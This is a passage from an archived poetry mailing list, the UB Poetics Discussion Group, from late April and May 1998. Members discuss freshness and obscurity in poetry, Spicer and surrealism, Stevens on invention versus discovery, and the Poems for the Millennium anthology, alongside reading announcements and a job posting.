Even to say "refreshing/renewing the language" recalls Hobbes' remark on "Cursing, Swearing, Reviling, and the like", viz., that they "do not signifie as Speech; but as the actions of a tongue accustomed". Can someone tell me: whjat does it mean, this re- and tired version of MAKE IT NEW? And where is it this specific formulation comes from?

like a graphic
novel by Baudrillard.

come in, mission control - chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

731. louis stroffolino
Re freshly stale
Thu 30 Apr 1998

---

since culinary metaphors have come up,
i think of the stale "raw vs. cooked" debate
and wonder if some people mean "cooked" when they say "fresh"
(and "raw" when they say "stale").....
it does seem that way at times.....
maybe i should ask frank lima, chris

↑ Index

732. Joe Amato/Kass Fleisher
poems for the millennium vol. 2
Thu 30 Apr 1998

---

am embroiled in my own institutional nonsense here, but having just yesterday rec'd vol. two of the jerry/pierre anthology, i wanted to take this opportunity, and the unforgiveable speed of this medium, to toss in a few all-too-hasty remarks by way of reopening this thread:

(1) first and foremost: if you simply pick up the book and flip through its contents, it should be clear that this is a vast and in some ways unprecedented effort... my first thought was---no doubt like some of you---that so & so had been excluded, and that so & so had been included... and my list of so & so's on both sides of the exclusion/inclusion coin would have included many more mainstream poets, simply b/c i believe it important to try to bring disparate communities of poets together, if only to squabble (i worry a bit that some may not come to this volume b/c of obvious exclusions)... but there can be no denying that the range of volume two is considerable... and that the editors are to be congratulated once again...

(2) that said, i note in flipping through that the book does not seem to offer as clearcut a configuration of 'schools' and 'movements' as did volume one... is this simply an impression?---or is volume two configured more around clusters?... for what it's worth: i had my dozen or so (again, engineering/science major, creative writing) students paw through the volume a bit, and their first observation was that it didn't designate movements (e.g., modernism, surrealism, etc.) as did the first volume... for what it's worth, i say... now, i anticipated that this

volume would be, by its very nature, more controversial, in trying to approach the impossible present with an eye or two toward the impossible future...

(3) i haven't had a chance to really spend any time with editorial apparatus---i've only skimmed through... but i want to offer here a quick list that i formulated---not a list of exclusions (or omissions), but of inclusions... in fact, of duplications (of a sort)---those authors whose work is reproduced both in volume one and in volume two (not the same work, of course---and apologies for any bean-counting errors):

akhmatova
artaud
breton
cesaire
duchamp
duncan
ekelof
eshleman
h.d.
jabes
joyce
mac low
macdiarmid
michaux
neruda
olson
oppen
ortiz
paz
pound
sabina
schwerner
g. stein
stevens
williams
zukofsky

(22 men, 4 women)

what i'd want to know from jerry/pierre, if it isn't already noted in the editorial apparatus, is whether and to what extent this duplication was itself a matter of extended deliberation... well---to be more precise, b/c i'm sure it *was*---what were the terms of this deliberation?...

(4) it's true that auden, spicer, and many others have been excluded from volume two... at the same time, i note that spicer and auden and many others DO appear in the commentary sections... and this is in fact significant, not only from a teaching perspective, but in terms of developing historial context... i wonder whether jerry/pierre intend someday to produce an index for the volumes that might include all of those poets mentioned in the commentary sections?... i think this would be extremely useful...

(5) given my own specific interests, it was nice to see a section on "cyberpoetry," to see someone like jim rosenberg finally get his due, and to see folks like don byrd and michael joyce credited for their contributions to late 20th century thought... i know of many, many talented folks who might also have been included here, but again i regard the drift of the anthology as not so much to territorialize as to provide a sense of openings... and a sense is just that---a sense, even with u of california backing... in other words, the editors as i see it are using a powerful academic press in order to advance an unorthodox and polemical understanding of poetic possibilities... and like, why the hell not?... i like it, for example, that readers are referred in volume one to seek eliot's _the waste land_ elsewhere...

(6) i've had a chance to read over jonathan mayhew's brief review of the anthology, and i do think jonathan's is an even-handed critique, given the brevity of his review---and we all know that no book is beyond critique... i encourage those of you who are interested to have a look at what jonathan is saying... at http://www.ellavon.com/

anyway, again, all too hasty and for what it's worth... and i need to say here, again, that i think jerry and pierre are to be congratulated for another superb volume...

all best,

joe

↑ Index

733. **Mark Prejsnar**

Re: fresh

Thu 30 Apr 1998

On Thu, 30 Apr 1998, louis stroffolino wrote:

> *to do that for? And I wonder if there's a way to avoid*
> *the possibility that someone will find "too obscure"*
> *and "meaningless" what another person finds "too cliche"----*
> *no matter WHAT kind of poem you write.....*
> *chris*

No--there is no way. It would be a little like living in an antiseptic bubble. Protected from infection, but cut off from the world. (That is, it would be like that **if** there were a way...but (fortunately) there isn't)

Of the making of books (and websites) there is no end, saith the preacher. Disagreement, disagreement, all is disagreement (and on balance that's a good thing, nao e?)

The seventh circle of hell (since I'm waxing religoid) would be to write a poem that Helen Vendler admired...

(signed)
postecclesiastical in @lanta

↑ Index

734. Maria Damon
fwd: job opening
Thu 30 Apr 1998

Date: Thu, 30 Apr 1998 12:53:06 -0500
Originator: mn-arts
From: "Philip Blackburn" <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: ACF position opening

> AMERICAN COMPOSERS FORUM
> LINKING COMMUNITIES WITH COMPOSERS AND PERFORMERS...
> 332 Minnesota Street, Suite E145, St. Paul MN 55101
> [redacted], [redacted], fax
> [redacted]

POSITION AVAILABLE

Job Title: Project Director (new position)
Reports to: Executive Program Director
Hours: Exempt, full-time; normal business hours, some evenings and weekends, occasional national travel
Compensation Low-mid 30¼s, paid health insurance, vacation
Start date: June 15, 1998 (pending confirmation of funding)

The American Composers Forum (ACF) seeks applications for a Project Director. The Project Director will develop and manage a major new national initiative; a collaboration between ACF and a national funder. The project will place composers in residence to work with communities throughout the nation. The Project Director, along with another staff member supervised by the Project Director, will research and contact community and arts organizations nationwide

(especially those who have had little exposure to new music or access to composers), solicit project proposals, coordinate a national peer panel to select at least 30 and as many as 50 projects, write job descriptions, issue a call to composers, and connect agencies and composers in residencies that will culminate with premieres of commissioned works in the year 2000. While the duration of the project is three years, it is expected that the position will be continued. ACF, with offices in St. Paul, Minnesota, is a non-profit! service organization with over 1000 professional members in the U.S. and abroad. The mission of the American Composers Forum is to link communities with composers and performers, encouraging the making, playing, and enjoyment of new music.

RESPONSIBILITIES INCLUDE:
Ä Research and contact festivals, presenters, and community arts organizations
Ä Develop and distribute host-site application materials as widely as possible
Ä Develop and manage a panel process for selecting 30-50 projects
Ä Develop and issue a call to composers
Ä Serve as liaison with collaborative funder
Ä Supervise Associate Project Director
Ä Manage budget, process, contracts, and payments
Ä National travel required

QUALIFICATIONS: Ä Ability to plan and administer complex projects to conclusion Ä Confidence, flexibility, and high level of self-motivation Ä Knowledge of new music and artist-in the community issues helpful Ä Effective written and verbal communications skills, including ability to communicate effectively with rural constituencies and composers, ability to handle media attention Ä B.A. degree (minimum) and/or comparable combination of experience and education in project management or arts administration Ä Computer experience (Macintosh preferred)

HOW TO APPLY: Send a letter of application describing your skills and experience as they relate to the responsibilities and qualifications of the position; a complete rÈsumÈ; and names, addresses, and phone numbers of three references.

SEND TO: Project Director Search
American Composers Forum
332 Minnesota Street, Suite E145
St. Paul MN 55101

APPLICATION DEADLINE: Ongoing review. Open until filled. Call Frank Stubbs at [redacted] with questions or for a full job description. No fax applications will be accepted.

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After June, 1998 we will be changing our area code from 612 to 651. Please update whatever is necessary.

HTTP://WWW.COMPOSERSFORUM.ORG
Our e-mail has been known to be imperfect; If you get a message bounced back please try me at: [redacted]

"Ask me about my Partch book"

↑ Index

735. Maria Damon
query asap
Thu 30 Apr 1998

hi guyzies i need quick (before tmw a.m.) full bibliographic material for:

Out of Everywhere

Moving Borders

Feminist Measures

thanks AAWWWfully

↑ Index

736. MAYHEW
Spicer, surrealism, born on date
Thu 30 Apr 1998

Spicer's "Textbook of Poetry" starts out by saying "Surrealism is the business of poets who cannot benefit from surrealism."

Does this mean that surrealism was on the right track but got bogged down in a certain routinization? This might be relevant to James Tate.

I have always been puzzled by this line; I think I understand it, but perhaps I don't. Your brilliant interpretations are welcome.

I have this repeated experience of thinking I am highly interested in surrealism, starting to read it, and then losing interest quickly.

Jonathan

↑ Index

737. Mark Prejsnar
A fresh fit of ranting about freshness
Thu 30 Apr 1998

On Thu, 30 Apr 1998, Judy Roitman wrote:

> *Geez I'm tired of that tired old saw. In this small poetry community in this small town there are 2 or 3 readings a year which trot out poets of all poetics to audiences varying widely (or is it wildly) in their understandings and by God when those of us who have or should have or wish we had stuff in SPD read invariably we get responses from those who have never heard of SPD or langpo or NYpoets or whatever saying things like "I don't get it but I really like it" or similar variations. Which is a higher sort of understanding, n'est ce pas? (excuse my French)*
>
> *Also, to make things perfectly clear: it isn't "making language FRESH" it's "making language FISH."*
>
> *Let's be careful out there.*

*This is a great post.....I believe that everything said above is true and has n'er been so well expressed...

*I don't think these things can be stressed too often. Not too long ago, there was an issue of the mag Central Park, with a colloquy on poetix. I believe it was Stephen-Paul Martin, who said a couple of times that "avant-garde" poets *believe* that they are "difficult" and *want to be* (or, I think the phrase "take pride in it" came up); astonishingly, this hopelessly riseable claim was repeated and expanded on by Mark Wallace, another participant. Now you have to understand that both poets were speaking of themselves as among the "A-G" types they were refering to. They were bringing up this subject by way of criticizing (or questioning) a grouping they considered themselves to be to a degree a part of. (and so the intention as I read it was one of tentative self-criticism, in a collective sense)

*Now both these guys do very worthwhile work. Mark in particular, as is known to most Listmembers here, is an important and fabulous poet on the contemporary scene.

*They were spouting a bunch of nonsense, at least when they made these particular comments. (Most of Wallace's remarks in the symposium however are brilliant, and folks should look 'em up). Why would they go so far astray??

*I can only imagine there is a strong sense of ambivalence and complex self-reflection, going on for these two poets, which reflects some of the pressure felt when one is isolated from the well-funded (however inert or pathological) ruling cultural institutions. Also (and related) there is the pressure of self-doubt that is felt when one's audience is relatively small.

*They may take pride in trying to obscure...But actually I don't think they do; they were going a bit overboard with the earnest self-examination stuff..

*In any event (and in line with Judy's comments) I think I can assure them that a very large number of non-mainstream poets know that they are not (in any genuine and absolute sense) "obscure and difficult"....No matter what the NYT Book Review imagines! What we are doing may not be lifeless and wooden, to the ear or mind, but that doesn't make it obscure, nor is that a *goal*....fa pete-sake..

(signed)
lucid in Atlanta

↑ Index

738. Fred Muratori
Re: Spicer, surrealism, born on date
Thu 30 Apr 1998

> *Spicer's "Textbook of Poetry" starts out by saying "Surrealism is the business of poets who cannot benefit from surrealism."*
>
> *Does this mean that surrealism was on the right track but got bogged down in a certain routinization? This might be relevant to James Tate.*
>
> *I have always been puzzled by this line; I think I understand it, but perhaps I don't. Your brilliant interpretations are welcome.*
>
> *I have this repeated experience of thinking I am highly interested in surrealism, starting to read it, and then losing interest quickly.*
>
> *Jonathan*

Okay, here's a simplistic stab at it. Those who take to surrealism most naturally as a means of poetic expression already are surrealists without consciously meaning to be. Because they are surrealists by nature, the possibility of "benefiting"from surrealism -- in the sense of its adding value to their work -- is moot. On the other hand, for poets who are basically dour, realist types, the

appropriation of surrealism's surface characteristics may be more overtly conscious, and may hold the (possibly false) promise of extending their work in more interesting directions. ("I'm clumsy but if I learn to two-step people will love me.") But since Spicer's is really a tautological statement only a surrealist can love, why bother to make it make sense?

Poetry is the business of surrealists who cannot benefit from poetry. Now _that_ I understand.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
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Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

739. Maria Damon (Maria Damon)
tusind tak
Thu 30 Apr 1998

thousand thanks to all who asap'd the query.

↑ Index

740. Karen Kelley
Fresh obscure cliches
Thu 30 Apr 1998

Aren't these terms entirely relative? "Difficult" is any discourse with which one is not familiar. So the further you go into a particular discourse, the more obscure your cliches become. Which, to the uninitiated to that particular discourse, is perceived as "difficult."

Story: Picasso was painting a portrait of some guy's wife. Guy drops by the atelier to check out Picasso's progress & complains: "She doesn't look like THAT!" Picasso asks, "Well, what DOES she look like?" The guy pulls out a photograph and points to it. "She looks like THIS." "Hmm," Picasso says, "small, isn't she?"

To someone not familiar with psychoanalysis, a cliche might seem obscure and, yes, "fresh." The discourse of writers is intensely fresh and obscure and cliched.

I know people who think anyone who reads (even the most mainstream) poetry is automatically avant-garde. Does arguing these issues among ourselves seem rather funny to anyone else?

I want to take this opportunity to officially nominate rational discourse as most banal (as in tedious).

latergaters.

↑ Index

741. **Karen Kelley**
Re: Spicer, surrealism, born on date
Thu 30 Apr 1998

> *I have this repeated experience of thinking I am highly interested in surrealism, starting to read it, and then losing interest quickly.*

To borrow from a Jiffy Pop advertisement ("fresh" if you've never heard it, "cliched" if you have, and "obscure" if you think you've heard it but can't quite remember WHERE):

Surrealism's more fun to make than it is to eat.

↑ Index

742. **Jordan Davis**
make your mind
Thu 30 Apr 1998

Sparrow read some dinosaur haiku tonight:

A pteranadon lands on a brycephalosaurus.

That, and then this in today's paper about Chinese airports: only Beijing has radar; the other traffic controllers ask incoming planes where they left from, when, and how fast they've been going.

--...But I was talking about the intellect.... --And you say it's getting mechanized, too....But open your eyes, my dear man, never have people evolved such hair-raising theories as now. --Where do you mean? --Everywhere....In writing above all, as is natural...and then in painting. They certainly serve up some horrors--with theories to match.... --Lord, yes....The product has to have directions on the packet.

--Paul Valery, Idee Fixe

For several seasons now the city, and for that matter the whole country, have enjoyed an attack of balletomania from which, happily, neither shows any sign of recovering. The touring companies are packing in customers from Kansas to

California. New York could treat itself to a winter season of ballet, too, if there were a proper theater free and an extra company free to dance in it. Is it too much to ask that New York should have its own ballet with a permanent home here? For such an organization touring would be only a secondary activity. So far, first-class ballet in this country has been leading a hand-to-mouth existence, keeping on the go year in and year out. In constant travel it wears out its strength and brilliance and productivity. Dancers need a home like anyone else. As artists they need to share the natural life of a city, like the people who know they belong there. As professionals they need quiet to practice, to develop, to rehearse. The choreographers need confidence in the schools that train their young dancers, and they need confidence in whatever intellectual life the country has. These are slow things that have to be able to grow unconsciously over a long term of years. They are the things that eventually give ballet a sound and strong character. A racing stable needs sensible attention all year round and needs to plan for it; much more an ensemble of ballet dancers.

--Edwin Denby (February 17, 1944), from "Why Not a New York Ballet" in _Dance Writings_

You on the pop? No, I couldn't get on. You using ppp still? Why don't you use open transport? I use dialer. Look at that. Andre's coming back. Open cardboard box on a navajo rug, full of padded mailers. Silver paper wrapped long box shining on a New York Times, who was that? Beck! holding it up. Flowers blowing on the balcony the dorm august white. Flowers still. Okay I'm gonna go.

↑ Index

743. Henry Gould
obscurity
Thu 30 Apr 1998

It's nice to think that all obscure poets are for real while all the rest are sell-outs. Only it's not true. Obscurity is also a business in the poetry world. It's called obfuscation and it's a cottage industry. Poetry is very strange: if you make an idol out of it it bumps you off. It's like Fortune or the Fates. It's like the Muse. - Henry Gould

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1998

780 messages · Fri 1 May 1998 – Sun 31 May 1998

May 1998 is a loud month in the world — India detonates its device in the Rajasthan desert and Pakistan readies an answer, Frank Sinatra dies, Suharto falls in Jakarta — but the list, gloriously deaf to nearly all of it, spends the month absorbed by a smaller and stranger noise: the stammer.

The season's central thread is a poetics of disfluency. David Bromige, glossing Peter Quartermain on Bob Grenier, supplies the month's finest coinage — *"the stutterance of utterance"* — and observes that the subject, like a berry in some poem of Snyder's, only grows bigger the longer one looks at it. Stuttering, stammering, the poetics of the stammer: in the broken word the list discovers an entire aesthetics.

Alongside it runs the perennial question of how one judges the new. Michael McColl worries that when an experimental poem offers *"no paraphrasable content,"* the oldest and most widespread tool of evaluation simply falls away. Mark Wallace, more sanguine, wagers that the techniques for reading such work can be taught to almost anyone with *"about three hours of close attention."* In the thread next door the formalists and the oralists trade their accustomed fire.

The month mounts its defenses, too. Stung by a magazine's assumption that *"Spicer is unimportant and unknown,"* Mark Prejsnar rises indignantly to the poet's honor against the bloated professoriate; elsewhere the scene-reports thread files dispatches from actual rooms — sound poetry in Toronto, the Four Horsemen, Michael Snow at the keys — and a cheerful company gathers round Frank O'Hara's 'In Memory of My Feelings' to map, one poster says, the terrain of identity.

It is a wholly characteristic month: the wider world going up in test-fire and obituary while the list bends studiously over the smallest unit of speech, insisting that how a word breaks is a serious matter — perhaps, some days, the only serious matter. I have set the letters in their order, drawn the black bars across every address and telephone, and left the stammer exactly where May left it: mid-syllable, and unashamed.

— Kristen M. Fabians

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467. ScoutEW — Re: formalists, oralists

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607. morpheal — Re: essence of medium [corollary to previous article]
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614. morpheal — Re: culture heros
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619. david bromige — barbara guest on speed

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622. Jim Andrews — Seattle Drift
623. Stephen Cope — Re: the poetics of the stammer
624. Maria Damon — Re: Chaos and poetry
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626. Susan Wheeler — Re: Chaos and poetry

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630. morpheal — Re: Megalamorial Miscelany II [Or: Beasts one and all.]
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641. Dean Taciuch — Re: Chaos and poetry
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643. toddbaron — Re: the poetics of the stammer
644. Matt Kirschenbaum — Re: Chaos and poetry
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646. morpheal — Re: F.W.Taylor v. Wittgenstein & Adorno [philosophical incentives]

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651. Stephen Cope — Re: the poetics of the stammer
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653. AERIALEDGE — Re: the poetics of the stammer
654. R. Gancie — deeply we enquire
655. Christina Fairbank Chirot — Re: stuttering, stammering
656. Christina Fairbank Chirot — Re: A stutter to the Russians
657. William Burmeister Prod — Re: Lorca
658. Alan Myouka Sondheim — a poem
659. morpheal — Re: bytes & rights
660. Christopher W. Alexander — miles aside
661. ScoutEW — Re: a poem
662. Alan Myouka Sondheim — Re: a poem
663. Charles Bernstein — Close Listening & for less

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666. ScoutEW — Re: Byrd's reply 2 Alex and droffolino's quest
667. ScoutEW — Re: a poem
668. Alan Myouka Sondheim — Re: a poem
669. jarnot — Bernadette Mayer book
670. Brent Long — Reading In Providence
671. Chuck Stein — Re: Byrd's reply 2 Alex and droffolino's quest
672. Keston Sutherland — New Book by J.H. Prynne
673. Safdie Joseph — Re: mythology
674. Irving Weiss — URL change
675. Mark Weiss — Re: mythology
676. Gary Sullivan — Permission
677. R. Gancie — As a youth doomed to be the incarnation of Carl Friedrich von Weizsaecker
678. Jordan Davis — some other poetics of summer
679. Carrie Etter — Berkeley readings?

680. Mark Weiss — (no subject)
681. Maria Damon — a nice announcement

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682. Alan Myouka Sondheim — NAKED ALAN AND NIKUKO NAKED COPY AND RUN AROUND SOME FILES
683. Maria Damon — Re: spicer review
684. Chuck Stein — mythology
685. Mark Prejsnar — The Bloated Professoriate (vs. Spicer)
686. DANIEL L. COLLIER — Re: <no subject given>
687. morpheal — Re: mythology [followed by DADA, deconstruction, and silence]
688. Erik Sweet — Re: mythology [followed by DADDY, construction, and silence]
689. Chuck Stein — Re: mythology [followed by DADA, deconstruction, and silence]
690. Maria Damon — Re: The Bloated Professoriate (vs. Spicer)
691. David Kellogg — Re: The Bloated Professoriate (vs. Spicer)
692. henry g — Re: The Bloated Professoriate (vs. Spicer)
693. R. Gancie — philosophy all at sea?
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695. Maria Damon — Re: The Bloated Professoriate (vs. Spicer)
696. Christopher W. Alexander — Re: The Bloated Professoriate (vs. Spicer)
697. henry — Re: The Bloated Professoriate (vs. Spicer)
698. Simon/Piombino — Stuttering
699. Maria Damon — rePartch
700. M. L. Weber — call for prose submissions by women
701. Brian Clements — _Best Texas Writing 1_ available

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703. Dan Machlin — Hofer/Machlin atZinc
704. George Bowering — Re: The Bloated Professoriate (vs. Spicer)
705. nuyopoman — RapPo
706. F. W. Perrella — 5_trope - Web Del Sol
707. rsillima — Spicer, Kirkus, etc
708. Susan Wheeler — Book Party
709. Erik Sweet — Bookstores for Cheap
710. Maria Damon — Re: Vs. Spicer
711. Maria Damon — Re: Spicer Review
712. Mark Prejsnar — kenning..a review
713. Douglas Barbour — Re: Spicer
714. Prageeta Sharma — brooklyn reading
715. Mark Prejsnar — Jonathan Brannen..
716. morpheal — Re: mythology [followed by DADDY, construction, and silence]
717. William Burmeister Prod — Re: Vs. Spicer
718. R. Gancie — 'the study of the self has been objectified'
719. Erik Sweet — Re: mythology [followed by DADDY, construction, and silence]
720. Mark Weiss — Re: Spicer Review
721. MAYHEW — How to be great
722. DANIEL L. COLLIER — Re: Spicer Review
723. Kristen Gallagher — pound online?
724. Brian Clements — McHenry query
725. joel lewis — f.yi.
726. Marcella Durand — June readings at Poetry Project
727. Peter Balestrieri — Quo Vadis?
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729. toddbaron — Re: Love of (g-d)
730. Billy Little — Re: Byrd's reply 2 Alex and droffolino's quest
731. Billy Little — Re: How to be great

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732. Tom Orange — Quo Vadis?
733. Otis Rush — (no subject)
734. Alan Myouka Sondheim — of the third
735. sylvester pollet — (no subject)
736. Maria Damon — Re: Quo Vadis?
737. charles alexander — permission
738. Erik Sweet — Robert Duncan
739. david bromige — quo vadis alan sondheim
740. R. Gancie — enlightenment
741. Nada Gordon — Re: Quo Vadis?
742. charles alexander — Re: Quo Vadis?
743. david bromige — Quo uncomfortable Vadis?
744. Hugh Steinberg — Re: Fwd: 12 tones for Anton's bones (fwd)

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745. Stephen Cope — Fwd: 12 tones for Anton's bones (fwd)
746. Alan Myouka Sondheim — Re: Quo Vadis?
747. Tosh — Re: Fwd: 12 tones for Anton's bones (fwd)
748. Alan Myouka Sondheim — situating
749. Simon DeDeo — Re: Quo uncomfortable Vadis
750. Alan Myouka Sondheim — racism, etc.
751. Chris [Steve] Piuma — Re: Fwd: 12 tones for Anton's bones (fwd)
752. Tosh — 12 tones for Anton's bones
753. Tosh — Webern
754. George Bowering — Re: Fwd: 12 tones for Anton's bones (fwd)
755. Peter Ganick — Re: Webern
756. Alan Myouka Sondheim — last call
757. Peter Ganick — Re: Webern
758. rsillima — Fabulous article in SF Examiner
759. Maria Damon — Re: Fabulous article in SF Examiner
760. Nada Gordon — Re: Quo uncomfortable Vadis?
761. louis stroffolino — Re: Quo Vadis?
762. Simon/Piombino — Feedback
763. Alan Myouka Sondheim — Re: Quo uncomfortable Vadis?
764. morpheal — Re: mythology: wandering from techno war to Pakistan's new nukes
765. Mark Weiss — Re: Webern
766. R. Gancie — universal quantifier
767. Joe Amato/Kass Fleisher — Re: Quo uncomfortable Vadis?
768. Joe Amato/Kass Fleisher — Re: Fabulous article in SF Examiner
769. Laura E. Wright — Re: Fwd: 12 tones for Anton's bones
770. Laura E. Wright — Re: situation uncomfortable
771. Erik Sweet — Re: last call
772. Erik Sweet — Re: mythology: wandering from techno war to Pakistan's new nukes
773. david bromige — George Bowering's encrypted poetry
774. morpheal — Re: mythology: wandering from techno war to Pakistan's new nukes
775. groberts — Alan's Feedback
776. Henry Gould — Re: Quo uncomfortable Vadis
777. Schuchat Simon — nomuko and tabeko
778. Kathy Lou Schultz — dodie & kevin: my s/heroes
779. Susan Wheeler — SF Examiner
780. Rebecca Weldon Sithiwong — Quo uncomfortable Vadis?

1. Loss Pequen~o Glazier
Cayley & Glazier in Buffalo
Fri 1 May 1998

For those near the el-nino-induced tropics bordering Lake Erie: John Cayley & Loss Pequen~o Glazier will be reading at the Cornershop Gallery, 85 Lafayette St. in Buffalo on Weds. May 6th at 8 p.m.

↑ Index

2. J Kimball
The East Village Poetry Web, Volume One
Fri 1 May 1998

For your May Day (and thereafter) viewing and reading....

The
East
Village
Poetry
Web

....an anthology that plays expansively with notions of "east" and "village," not to mention "poetry and art."

In the art category, you will find:

Stills and a script extract from the new film "Let's Do Talk," screenplay by John Collick and Paul Davies;

Mariko Mori's photos from "Made in Japan";

ink-and-gouache images of "Cold Mountain" by Brice Marden;

and Michiko Ishii's sawdust-and-paste dolls reliving a boyhood "Fight" of the 1950s.

As for verse, Volume One of The East Village Poetry Web includes the following.

Harry Mathews [Three Women]; Xue Di [3 Poems]; David Trinidad [3 Poems]; Nada Gordon [2 Poems]; Jesse Glass [4 Poems]; Simon Schuchat [At Baoshan]; Andrea Brady [2 Poems]; Jack Kimball [The I-Thing]; Forrest Gander [4 Poems]; Toshi Ishihara [2 Poems]; Linda Reinfeld & Toshi Ishihara [The Game of 100 Poems]; Araki Yasusada [7 Poems]; Alan Myouka Sondheim [4 Poems]; Kent Johnson [Orientalist Haibun]; Scott Watson [3 Poems]; and Cid Corman [Another Handful].

You will find The East Village Poetry Web at these URLs.

In the US: <http://www.theeastvillage.org>.

In Japan: <http://interserver.miyazaki-med.ac.jp/~east/village.htm>.

Choose the site that works better for you. And enjoy!

↑ Index

3. F. W. Perrella

Web Del Sol - Pantheon Page

Fri 1 May 1998

You are invited to visit the Pantheon Page at Web Del Sol.

http://webdelsol.com/writ-tab.htm

Twenty-five writers are featured there, encompassing a variety of literary styles and viewpoints. You can sample their fiction and poetry, read biographical information on each author, and you can provide email feedback on each author's work. Your comments are much encouraged.

Web Del Sol is a many-layered website, seeking to highlight the best literary work available by featuring authors, literary works, and zines, either print or e-based. You are invited to visit, browse, learn, enjoy.

Anne Perrella

Web Del Sol

↑ Index

4. Michael Coffey

Re: Spicer, surrealism, born on date -Reply

Fri 1 May 1998

Poetry is the business of surrealists who cannot benefit from poetry.
Now
that I understand.

-- Fred M.

i've been thinking a lot about surrealism myself lately as i have been preparing a manuscript for Coffee House Press. I have decided to begin the book with a kind of surreal baedekker of a poem that nominally takes a traveler the length of New York State "in Robert Motherwell's Car." I liked the poem but didn't understand it (meaning I didn't know how to talk about it, not that anyone asked!), until i realized that it had a surreal structure rather than a surreal surface. It is made up of mostly realistic utterances, but a three-stanza structure that runs through the thirteen parts looks more rational than it is. In any event, not to explicate my own damm poem do i write this, but rather to offer two things about surrealism. One is a quoation by Ashbery, which actually

found its way into my "In Robert Motherwell's Car", which goes like this (the "it" of the first line being surrealism; it is from an Ashbery essay:

*Like all revolutions, it substituted some
new restrictions for old ones.... Real freedom would be
to use this method when it could be
of service and correct it.... Sexual liberty,

[Breton] proclaimed, meant every conceivable
sexual act
except for homosexuality
[Rene Crevel, Rene Crevel, Rene Crevel],* wrote Ashbery.

elsewhere, Ashbery mentions that Crevel committed suicide because of his fear of being outted, i believe...

the second is a paraphrase of Wallace Stevens, which has really troubled me: something to the effect that surrealism's major drawback is that it favors invention over discovery.

one might ask what it is that stevens "discovered" in his poems; to me, he invents a singulary strange, beautiful, intellectual space full of funny sounds and musical instruments and corpulent plenipotentiaries. But perhaps for Stevens, these places were discoveries, that he didn't feel that he made them up, but found them. This seems such an important question to me...

m coffey

↑ Index

5. Herb Levy

Re: fresh

Fri 1 May 1998

Joe Safdie writes:

> *I found amusing the latest SPD flyer
> that arrived at my house, with a blurb from the book editor of the San Francisco Chronicle, Patricia Holt (but that's another story) -- something to the effect of "SPD has books by poets who really don't care if you understand them or not!" I thought it was a slightly curious thing to advertise . . .*

I know Joe & I often don't read things the same way, but my flyer reads "almost indifferent to whether you 'like' it or not". In my lexicon, at least, liking something is far different from understanding it. I think I'd probably shoot myself if I had to "understand" everything I "liked," but hey, maybe that's just me.

Anyway, for better or for worse, lots of (perhaps most) readers, viewers, listeners, etc. of art in its various forms DON'T get the same thing the artist puts into it, especially with "weirder" stuff. It doesn't mean they don't "understand" it.

The real problem isn't "understanding" but rather how to get people (both in the audience AND at the creative end of things) to realize that it may be okay to respond to something without worrying about being "right."

I'm just now getting around to looking through the hundreds of posts that accumulated in my poetics folder while working through tax season & for the following week or two that I was computerless. I'll just go back to deleting & shut up now.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

6. Herb Levy
requisite self-promotion
Fri 1 May 1998

Two Web sites that I'm involved with that may be interest to some of you folks with time on your hands.

The annotated tour I did for Arts Wire of new music online has been significantly revamped, greatly edited, rethought, etc. with lots of additions:

<http://www.artswire.org/Artswire/www/awtour/herb/index.html>

And a relatively new online only "radio" station that offers six or seven hour-long programs each week of interesting music including the dull variety of new music that I select for them (in RealAudio):

<http://www.antennaradio.com/>

Herb Levy
[redacted]

↑ Index

7. Henry G
Stevens & surrealism
Fri 1 May 1998

My guess is (wiser heads correct here) that Stevens was serious when in his poems & aphorisms he asserted that reality (with a capital R maybe) is inherently poetic, and that art and poetry are a kind of natural, organic-integral process involving an encounter and mimesis or response to that reality. This is what he means by "discovery" - the realist or experiential aspect of poetry. Art as a "natural" process too complex for the "inventions" of various facile or fashionable methods.

This seems related also to the obscurity/difficulty issue raised recently. "Lyricism, music, song" are indirect or metaphorical indicators of specifically poetic effects; that is, these words when assigned to poetry mean something different than when assigned to music. There is a particular radiance in poetry which results from a synthesis of meaning, rhythm, sound. Wit, feeling, meaning, structural development produce direct EFFECTS which "come across" to the reader or audience. Oftentimes it seems to me the "inventions" of "experiment" and obscurantism are uncritically accepted as progressive, avant-garde, "new", etc. without taking into account these specific synthetic values - what poetry traditionally is and does. I know many of you have heard this from me before... & I know there are equal dangers from the other extreme - producing texts and poems that are merely rhetorical & conventional based on the demand to "get it across"... - Henry Gould

↑ Index

8. Douglas Barbour
Re: poems for the millennium vol. 2
Fri 1 May 1998

Joe Amato's level-headed post on this seems to me, after I too have only had time to take a gander at the anthology, to make all the right points. but I have enjoyed all the talk about the anthology, & feel it signals actually how important both volumes are. i found it fascinating how 'new' & 'fresh' (to borrow from another thread) my poetry students found volume one -- so much writing from the end of the last century & the beginning of this one that they didnt even know existed. i think vol 2's range of material from other languages will perform the same way for many readers (certainly there are a lot of wriers in there I dont know, & am grateful the editors have provided introductions).

a lot of FISH in that ocean...

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Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]

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10. Judy Roitman
Another KS reading
Fri 1 May 1998

Patrick Doud & John Moritz
7:30pm
Thurs. May 7
1116 Louisiana (Canterbury House)
Lawrence KS

Reception follows.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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11. Lisa Samuels
Re: Stevens, surrealism, 'discovery'
Fri 1 May 1998

---

in reply to michael coffey --

didn't stevens mean something like a distaste for what we'd call proceduralism? whether or not his remark contains insight about =surrealism=, it certainly indicates the rush of meeting language in its gifting domain (cf. some recent remarks here on the 'nature' of poetry, what it feels like to write it). i feel sure stevens enjoyed poetic trances, brief and sustained, that felt like discovery, however much we want to say that he was the co-shaping medium.

lisa samuels

>>you wrote:
the second is a paraphrase of Wallace Stevens, which has really
troubled me: something to the effect that surrealism's major drawback is
